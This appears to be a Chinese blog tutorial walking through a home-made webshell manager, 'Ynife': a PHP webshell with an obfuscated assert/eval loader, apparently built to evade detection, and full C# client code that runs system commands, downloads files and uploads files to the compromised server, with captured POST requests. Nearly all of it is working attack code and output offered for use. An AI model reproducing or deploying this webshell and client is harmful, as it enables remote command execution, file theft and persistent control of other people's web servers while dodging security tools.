- @ini_set('display_errors','0');
- if($_REQUEST['Ynife_verify'] == "verity" && $_REQUEST['Ynife_password'] == "pass"){
- echo "bingo";
- }
- if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
- if($_REQUEST['Ynife_run_flag'] == "run"){
- loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
- }else{
- loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
- }
- }
- function loader($a,$b){
- $cc = run($b);
- $a($cc);
- }
- function run($b){
- return $b;
- }
- ?>
image.png
image.png
他叫我约妹子去了。那我就去了。。。
首先看到webshell如何判断是否连接成功,当$_REQUEST['Ynife_verify']
为verity和$_REQUEST['Ynife_password']
等于pass的时候echo一个bingo。师傅看到这里可以就会喷了哈哈哈哈我也觉得。因为后期会改造所以暂时先将就着试试水。
这里回到c#入口函数
Program.cs
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
-
-
- namespace Ynife
- {
- internal class Program
- {
- static void Main(string[] args)
- {
- string url = args[0];
- string password = args[1];
- string res = SendData.PostRequest(url, password);
- if (res == "bingo")
- {
- Console.WriteLine("[+]connect success");
- SendExecuteCommand.SendCode(url, password);
- }
- else
- {
- Console.WriteLine("[-]connect failed");
- }
- }
- }
- }
首先接受控制台url加密码其实就是$_REQUEST['Ynife_password']
的值。然后通过SendData类的PostRequest方法发送。跟进PostRequest方法。
- public static string PostRequest(string url,string password)
- {
- string responseData = "";
- var client = new WebClient();
- WebProxy proxy = new WebProxy("127.0.0.1", 8080);
- client.Proxy = proxy;
- var data = new NameValueCollection();
- data["Ynife_password"] = password;
- data["Ynife_verify"] = "verity";
- byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
- client.Headers.Add("ContentLength", sendData.Length.ToString());
- byte[] bytes = client.UploadValues(url, "POST", data);
- responseData = Encoding.UTF8.GetString(bytes);
- return responseData;
- }
本地测试开启了8080代理,不用关闭就行。
测试下连接
image.png
image.png
SendExecuteCommand.SendCode(url, password);
如果连接成功调用SendExecuteCommand类得SendCode方法。同样需要传参url和password。跟进SendCode方法
- using System;
- using System.Collections.Generic;
- using System.Collections.Specialized;
- using System.Linq;
- using System.Net;
- using System.Text;
-
- namespace Ynife
- {
- public static class SendExecuteCommand
- {
- public static void SendCode(string url,string password)
- {
- while (true)
- {
- Console.Write(">>");
- string cmd = Console.ReadLine();
- if(cmd == "break" || cmd == "quit" || cmd == "exit")
- {
- Console.WriteLine("bye~");
- break;
- }
- if(cmd == "help" || cmd == "h" || cmd == "?")
- {
- Console.WriteLine("[*]usage:\r\n h or help or ? for help");
- Console.WriteLine(" break or quit or exit for exit shell");
- Console.WriteLine(" upload filename for upload file");
- Console.WriteLine(" download filename for download file");
- }
- if(cmd.Contains("upload "))
- {
- string upfile = cmd.Replace("upload", "").Trim();
- uploadFile.upload(upfile,url,password);
- continue;
- }
- if(cmd.Contains("download "))
- {
- string dwfile = cmd.Replace("download", "").Trim();
- download.downloadFile(url, password, dwfile);
- continue;
- }
- string responseData = "";
- var wb = new WebClient();
- WebProxy proxy = new WebProxy("127.0.0.1", 8080);
- wb.Proxy = proxy;
- var data = new NameValueCollection();
- data["Ynife_verify"] = "run";
- data["Ynife_password"] = password;
- data["Ynife_run"] = "system('"+cmd+ "');@ini_set('display_errors','0');";
- data["loader"] = "assert";
- data["Ynife_run_loader"] = "@eval($_REQUEST['Ynife_run'])";
- data["Ynife_run_flag"] = "run";
- byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
- wb.Headers.Add("ContentLength", sendData.Length.ToString());
- byte[] bytes = wb.UploadValues(url, "POST", data);
- //responseData = Encoding.UTF8.GetString(bytes);
- Encoding gb2312;
- gb2312 = Encoding.GetEncoding("gb2312");
- responseData = gb2312.GetString(bytes);
- if (responseData.Contains("yes"))
- {
- responseData = responseData.Replace("yes", "");
- }
- Console.WriteLine(responseData);
- }
-
- }
- }
- }
while循环当string cmd = Console.ReadLine();
cmd值为break或者quit或者exit退出循环。cmd值为help或者h或者?,使用教程。upload和download分别调用uploadFile类upload方法和download类downloadFile方法。这里先不管,先看命令执行。看到webshell。
- if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
- if($_REQUEST['Ynife_run_flag'] == "run"){
- loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
- }else{
- loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
- }
- }
- function loader($a,$b){
- $cc = run($b);
- $a($cc);
- }
- function run($b){
- return $b;
- }
loader方法其实就是b)。loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
就一眼看出来是个什么鬼了。为什么要这么写?问得好,因为我直接写被干了。
回到c#
- string responseData = "";
- var wb = new WebClient();
- WebProxy proxy = new WebProxy("127.0.0.1", 8080);
- wb.Proxy = proxy;
- var data = new NameValueCollection();
- data["Ynife_verify"] = "run";
- data["Ynife_password"] = password;
- data["Ynife_run"] = "system('"+cmd+ "');@ini_set('display_errors','0');";
- data["loader"] = "assert";
- data["Ynife_run_loader"] = "@eval($_REQUEST['Ynife_run'])";
- data["Ynife_run_flag"] = "run";
- byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
- wb.Headers.Add("ContentLength", sendData.Length.ToString());
- byte[] bytes = wb.UploadValues(url, "POST", data);
- //responseData = Encoding.UTF8.GetString(bytes);
- Encoding gb2312;
- gb2312 = Encoding.GetEncoding("gb2312");
- responseData = gb2312.GetString(bytes);
抓包看看
image.png
- POST /test2.php HTTP/1.1
- ContentLength: 50
- Content-Type: application/x-www-form-urlencoded
- Host: www.test.com
- Content-Length: 191
- Expect: 100-continue
- Connection: close
-
- Ynife_verify=run&Ynife_password=pass&Ynife_run=system('whoami');@ini_set('display_errors','0');&loader=assert&Ynife_run_loader=@eval($_REQUEST['Ynife_run'])&Ynife_run_flag=run
接下来看到文件下载
- if(cmd.Contains("download "))
- {
- string dwfile = cmd.Replace("download", "").Trim();
- download.downloadFile(url, password, dwfile);
- continue;
- }
可以看到当cmd值为download xx的时候replace download空格为空,后面就执行download类的downloadFile方法。
- using System;
- using System.Collections.Generic;
- using System.Collections.Specialized;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Text;
-
- namespace Ynife
- {
- public static class download
- {
- public static void downloadFile(string url,string password,string downloadFile)
- {
- try
- {
- string responseData = "";
- var wb = new WebClient();
- WebProxy proxy = new WebProxy("127.0.0.1", 8080);
- wb.Proxy = proxy;
- var data = new NameValueCollection();
- string Ynife_run = "@eval($_REQUEST['up']);";
- data["Ynife_run"] = Ynife_run;
- data["Ynife_verify"] = "run";
- data["Ynife_password"] = password;
- data["Ynife_download"] = "true";
- data["Ynife_run_loader"] = "assert";
- data["up"] = "@ini_set('display_errors',+'0');$filename = '"+ downloadFile+"';$handle = fopen($filename, 'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);";
- byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
- wb.Headers.Add("ContentLength", sendData.Length.ToString());
- byte[] bytes = wb.UploadValues(url, "POST", data);
- //responseData = Encoding.UTF8.GetString(bytes);
- Encoding gb2312;
- gb2312 = Encoding.GetEncoding("gb2312");
- responseData = gb2312.GetString(bytes);
- File.WriteAllBytes(downloadFile, bytes);
- if (File.Exists(downloadFile))
- {
- Console.WriteLine("[+]download success");
- }
- else
- {
- Console.WriteLine("[-]download failed");
- }
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
- }
- }
直接看到post数据包吧。
image.png
post包:
- POST /test2.php HTTP/1.1
- ContentLength: 50
- Content-Type: application/x-www-form-urlencoded
- Host: www.test.com
- Content-Length: 336
- Expect: 100-continue
- Connection: close
-
- Ynife_run=@eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_download=true&Ynife_run_loader=assert&up=@ini_set('display_errors',+'0');$filename = '2.jpg';$handle = fopen($filename, 'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);
利用fopen+fread。c#端通过File.WriteAllBytes写入文件。
文件上传
- if(cmd.Contains("upload "))
- {
- string upfile = cmd.Replace("upload", "").Trim();
- uploadFile.upload(upfile,url,password);
- continue;
- }
跟进uploadFile类的upload方法。
- using System;
- using System.Collections.Generic;
- using System.Collections.Specialized;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Text;
-
- namespace Ynife
- {
- public static class uploadFile
- {
- public static void upload(string upfile,string url,string password)
- {
- try
- {
- WebClient oWeb = new System.Net.WebClient();
- WebProxy proxy = new WebProxy("127.0.0.1", 8080);
- oWeb.Proxy = proxy;
- NameValueCollection parameters = new NameValueCollection();
- string Ynife_run = "@eval($_REQUEST['up']);";
- parameters.Add("Ynife_run", Ynife_run);
- parameters.Add("Ynife_verify", "run");
- parameters.Add("Ynife_password", password);
- parameters.Add("Ynife_upload", "true");
- parameters.Add("Ynife_run_loader", "assert");
- parameters.Add("up", "@ini_set('display_errors',+'0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename);");
- oWeb.QueryString = parameters;
- var responseBytes = oWeb.UploadFile(url, upfile);
- string response = Encoding.ASCII.GetString(responseBytes);
- }
- catch(Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
-
- }
- }
- }
直接抓包
image.png
- POST /test2.php?Ynife_run=@eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_upload=true&Ynife_run_loader=assert&up=@ini_set('display_errors', '0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename); HTTP/1.1
- Content-Type: multipart/form-data; boundary=---------------------8da75982467498c
- Host: www.test.com
- Content-Length: 117381
- Expect: 100-continue
- Connection: close
-
- -----------------------8da75982467498c
- Content-Disposition: form-data; name="file"; filename="2.jpg"
- Content-Type: application/octet-stream
就是调用move_uploaded_file
来进行文件上传,有点粗糙。